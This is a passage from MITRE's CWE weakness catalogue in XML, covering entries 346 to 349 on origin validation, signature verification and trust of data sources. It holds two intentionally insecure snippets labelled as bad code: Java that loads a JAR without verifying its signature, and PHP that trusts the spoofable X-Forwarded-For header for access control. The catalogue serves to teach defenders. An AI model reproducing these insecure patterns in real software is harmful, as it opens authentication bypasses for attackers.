					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Insufficient Verification of
						Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="346" Name="Origin Validation Error" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly verify that the source of data
					or communication is valid.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a factor in many weaknesses, both primary and resultant. The
						problem could be due to design or implementation. This is a fairly general
						class.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1218</Observed_Example_Reference>
					          <Observed_Example_Description>DNS server can accept DNS updates from hosts that
						it did not query, leading to cache poisoning</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0877</Observed_Example_Reference>
					          <Observed_Example_Description>DNS server can accept DNS updates from hosts that
						it did not query, leading to cache poisoning</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1452</Observed_Example_Reference>
					          <Observed_Example_Description>DNS server caches glue records received from
						non-delegated name servers</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2188</Observed_Example_Reference>
					          <Observed_Example_Description>user ID obtained from untrusted source
						(URL)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0174</Observed_Example_Reference>
					          <Observed_Example_Description>LDAP service does not verify if a particular
						attribute was set by the LDAP server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1549</Observed_Example_Reference>
					          <Observed_Example_Description>product does not sufficiently distinguish external
						HTML from internal, potentially dangerous HTML, allowing bypass using
						special strings in the page title. Overlaps special
						elements.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0981</Observed_Example_Reference>
					          <Observed_Example_Description>product records the reverse DNS name of a visitor
						in the logs, allowing spoofing and resultant
						XSS.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Origin Validation Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>111</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>141</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>384</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>385</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>386</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>387</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>388</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>389</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>89</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="347" Name="Improper Verification of Cryptographic Signature" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not verify, or incorrectly verifies, the
					cryptographic signature for data.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain access to sensitive data and possibly execute
							unauthorized code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java snippet, a JarFile object (representing a JAR
						file that was potentially downloaded from an untrusted source) is created
						without verifying the signature (if present). An alternate constructor that
						accepts a boolean verify parameter should be used instead.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>File f = new File(downloadedFilePath);</Code>
							              <Code>JarFile jf = new JarFile(f);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1796</Observed_Example_Reference>
					          <Observed_Example_Description>Does not properly verify signatures for "trusted"
						entities.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2181</Observed_Example_Reference>
					          <Observed_Example_Description>Insufficient verification allows
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2182</Observed_Example_Reference>
					          <Observed_Example_Description>Insufficient verification allows
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1706</Observed_Example_Reference>
					          <Observed_Example_Description>Accepts a configuration file without a Message
						Integrity Check (MIC) signature.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improperly Verified Signature</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not rely on the default automatic signature verification
						provided by URLClassLoader and java.util.jar</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Improperly Verified
						Signature</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="348" Name="Use of Less Trusted Source" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software has two different sources of the same data or
					information, but it uses the source that has less support for verification, is
					less trusted, or is less resistant to attack.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could utilize the untrusted data source to bypass
							protection mechanisms and gain access to sensitive data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code attempts to limit the access of a page to certain IP
						Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized
						user is sending the request through a proxy. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $requestingIP = '0.0.0.0';</Code>
							              <Code> if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {</Code>
							              <Block>
								                <Code> $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];</Code>
							              </Block>
							              <Code> else{</Code>
							              <Block>
								                <Code> $requestingIP = $_SERVER['REMOTE_ADDR'];</Code>
							              </Block>
							              <Code> }</Code>
							              <Code/>
							              <Code> if(in_array($requestingIP,$ipWhitelist)){</Code>
							              <Block>
								                <Code>generatePage();</Code>
								                <Code>return;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else{</Code>
							              <Block>
								                <Code>echo "You are not authorized to view this page";</Code>
								                <Code>return;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should
							never be trusted. An attacker can falsify the header to gain access to
							the page.</Text>
						            <Text>This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the
							issue:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $requestingIP = '0.0.0.0';</Code>
							              <Code> if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {</Code>
							              <Block>
								                <Code> echo "This application cannot be accessed through a
									proxy.";</Code>
								                <Code> return;</Code>
							              </Block>
							              <Code> else{</Code>
							              <Block>
								                <Code> $requestingIP = $_SERVER['REMOTE_ADDR'];</Code>
							              </Block>
							              <Code> }</Code>
							              <Comment> ...</Comment>
						            </Block>
						            <Text>Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem
							useless because the server will send the response to the fake address
							and not the attacker, but this may still be enough to conduct an attack.
							For example, if the generatePage() function in this code is resource
							intensive, an attacker could flood the server with fake requests using
							an authorized IP and consume significant resources. This could be a
							serious DoS attack even though the attacker would never see the page's
							sensitive content. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0860</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses IP address provided by a client,
						instead of obtaining it from the packet headers, allowing easier
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1950</Observed_Example_Reference>
					          <Observed_Example_Description>Web product uses the IP address in the
						X-Forwarded-For HTTP header instead of a server variable that uses the
						connecting IP address, allowing filter
						bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:15326</Observed_Example_Reference>
					          <Observed_Example_Description>Similar to
						CVE-2004-1950</Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/bid/15326/info</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0908</Observed_Example_Reference>
					          <Observed_Example_Description>Product logs IP address specified by the client
						instead of obtaining it from the packet headers, allowing information
						hiding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1126</Observed_Example_Reference>
					          <Observed_Example_Description>PHP application uses IP address from
						X-Forwarded-For HTTP header, instead of
						REMOTE_ADDR.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Use of Less Trusted Source</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>141</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="349" Name="Acceptance of Extraneous Untrusted Data With Trusted Data" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software, when processing trusted data, accepts any
					untrusted data that is also included with the trusted data, treating the
					untrusted data as if it were trusted.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>860</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 15 - Runtime Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could package untrusted data with trusted data to bypass
							protection mechanisms to gain access to and possibly modify sensitive
							data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0018</Observed_Example_Reference>
					          <Observed_Example_Description>Does not verify that trusted entity is
						authoritative for all entities in its
						response.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Untrusted Data Appended with Trusted Data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Place all security-sensitive code in a single JAR and sign and
						seal it</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>141</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>142</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
